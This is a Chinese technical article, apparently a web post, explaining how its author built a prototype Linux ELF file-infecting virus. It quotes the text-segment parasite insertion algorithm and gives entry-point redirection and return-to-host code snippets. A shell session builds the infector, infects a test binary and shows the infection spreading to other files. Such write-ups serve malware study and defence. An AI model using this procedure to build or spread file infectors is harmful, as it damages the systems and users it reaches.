ELF Infector (ELF文件感染器)
为了制作病毒文件，我们需要一个ELF文件感染器，用于制造第一个带毒文件。对于ELF文件感染技术，在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的地方，因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来，以供参考：
| The final algorithm is using this information is. * Increase p_shoff by PAGE_SIZE in the ELF header * Patch the insertion code (parasite) to jump to the entry point (original) * Locate the text segment program header * Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz) * Increase p_filesz by account for the new code (parasite) * Increase p_memsz to account for the new code (parasite) * For each phdr who's segment is after the insertion (text segment) * increase p_offset by PAGE_SIZE * For the last shdr in the text segment * increase sh_len by the parasite length * For each shdr who's section resides after the insertion * Increase sh_offset by PAGE_SIZE * Physically insert the new code (parasite) and pad to PAGE_SIZE, into the file - text segment p_offset + p_filesz (original) |
在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法，g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段，并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单，你只需要提供以下三个定义：
* 存放你的二进制代码返回地址的地址，这里需要的是这个地址与代码起始地址的偏移，用于返回到目标程序的正常入口：
| #define PARACODE_RETADDR_ADDR_OFFSET 1232 |
* 要插入的二进制代码（由于用C编写，所以这里需要以一个函数的方式提供）：
| void parasite_code(void); |
* 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算）：
| void parasite_code_end(void); parasite_code_end应该是parasite_code函数后的第一个函数定义，通常应该如下表示： void parasite_code(void) { ... ... ... } void parasite_code_end(void) {} |
在这里存在一个问题，就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面，这样会导致计算代码长度时失败，为了避免这个问题，你可以这样做：
| void parasite_code(void) { ... ... ... } void parasite_code_end(void) {parasite_code();} |
有了这三个定义，g-elf-infector就能正确编译，编译后即可用来ELF文件感染：
病毒原型的工作过程
1 首先通过ELF Infector将病毒代码感染到一个ELF文件，这样就创造了第一个带毒文件，后续的传播就由它来完成。
2 当带毒文件被执行时，会首先跳到病毒代码开始执行。
3 病毒代码开始发作，在这个原型里，病毒会直接开始传播。
4 病毒遍历当前目录下的每一个文件，如果是符合条件的ELF文件就开始感染。
5 病毒的感染过程和ELF Infector的过程类似，但由于工作环境的不同，代码的实现也是有较大区别的。
6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码，如果无法满足，病毒会忽略此ELF。对于被感染过一次的ELF文件，文本段将不会有剩余的空间，因此二次感染是不会发生的。
7 病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要），然后跳回到真正的可执行文件入口，开始正常的运行过程。
上面对病毒原型的工作过程的介绍也许显得千篇一律了，和我们早就熟知的关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
四、关键技术问题及处理
1 ELF文件执行流程重定向和代码插入
在ELF文件感染的问题上，ELF Infector与病毒传播时调用的infect_virus思路是一样的：
* 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联，防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题，见ELF文档中的描述：
| p_align As ``Program Loading'' later in this part describes, loadable process segments must have congruent values for p_vaddr and p_offset, modulo the page size. |
* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向：
| /* Modify the entry point of the ELF */ org_entry = ehdr->e_entry; ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; |
2 病毒代码如何返回到真正的ELF文件入口
方法技巧应该很多，这里采用的方法是PUSH+RET组合：
| __asm__ volatile ( ... "return:\n\t" "push $0xAABBCCDD\n\t" /* push ret_addr */ "ret\n" ::); |
其中0xAABBCCDD处存放的是真正的程序入口地址，这个值在插入病毒代码时由感染程序来填写。
五、 新编译环境下的调试方法
| grip2@linux:~/tmp/virus> ls g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h |
调整Makefile文件，将编译模式改为调试模式，即关掉-DNDEBUG选项
| grip2@linux:~/tmp/virus> cat Makefile all: foo gei gei: g-elf-infector.c gvirus.o gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG foo: foo.c gcc $< -o foo gvirus.o: gvirus.c gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG clean: rm *.o -rf rm foo -rf rm gei -rf |
编译代码：
| grip2@linux:~/tmp/virus> make gcc foo.c -o foo gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG |
先获取病毒代码长度，然后调整gvirus.c中的#define PARACODE_LENGTH定义:
| grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度 Parasite code length: 1744 |
获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移:
| grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd 8049427: 68 dd cc bb aa push $0xaabbccdd grip2@linux:~/tmp/virus> objdump -d gei|grep "" 08048d80 : 8049450: e9 2b f9 ff ff jmp 8048d80 grip2@linux:~/tmp/virus> objdump -d gei|grep ":" 08048d80 : |
0x8049427与0x8048d80相减即获得我们需要的偏移，用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值。
重新编译：
| grip2@linux:~/tmp/virus> make clean rm *.o -rf rm foo -rf rm gei -rf grip2@linux:~/tmp/virus> make gcc foo.c -o foo gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG grip2@linux:~/tmp/virus> ls gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h |
建立一个测试目录，测试一下：
| grip2@linux:~/tmp/virus> mkdir test grip2@linux:~/tmp/virus> cp gei foo test grip2@linux:~/tmp/virus> cd test grip2@linux:~/tmp/virus/test> ls gei foo grip2@linux:~/tmp/virus/test> cp foo h |
制作带毒程序：
| grip2@linux:~/tmp/virus/test>. /gei h file size: 8668 e_phoff: 00000034 e_shoff: 00001134 e_phentsize: 00000020 e_phnum: 00000008 e_shentsize: 00000028 e_shnum: 00000025 text segment file offset: 0 [15 sections patched] grip2@linux:~/tmp/virus/test> ll total 44 -rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo |
运行带毒程序：
| grip2@linux:~/tmp/virus/test>. /h . .. gei foo h .backup.h real elf point grip2@linux:~/tmp/virus/test> ll total 52 -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo |
测试上面带毒程序运行后，是否感染了其他ELF程序：
| grip2@linux:~/tmp/virus/test>. /foo . .. gei Better luck next file foo h Better luck next file .backup.h Better luck next file real elf point OK，成功 grip2@linux:~/tmp/virus/test> cp. ./foo hh grip2@linux:~/tmp/virus/test> ll total 64 -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo grip2@linux:~/tmp/virus/test>. /foo . .. gei Better luck next file foo h Better luck next file .backup.h Better luck next file hh real elf point grip2@linux:~/tmp/virus/test> |
六、总结
由于我既不是一个virus coder也不是一个anti-viruscoder，所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确，分析不够到位，还请指正，谢谢
|
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）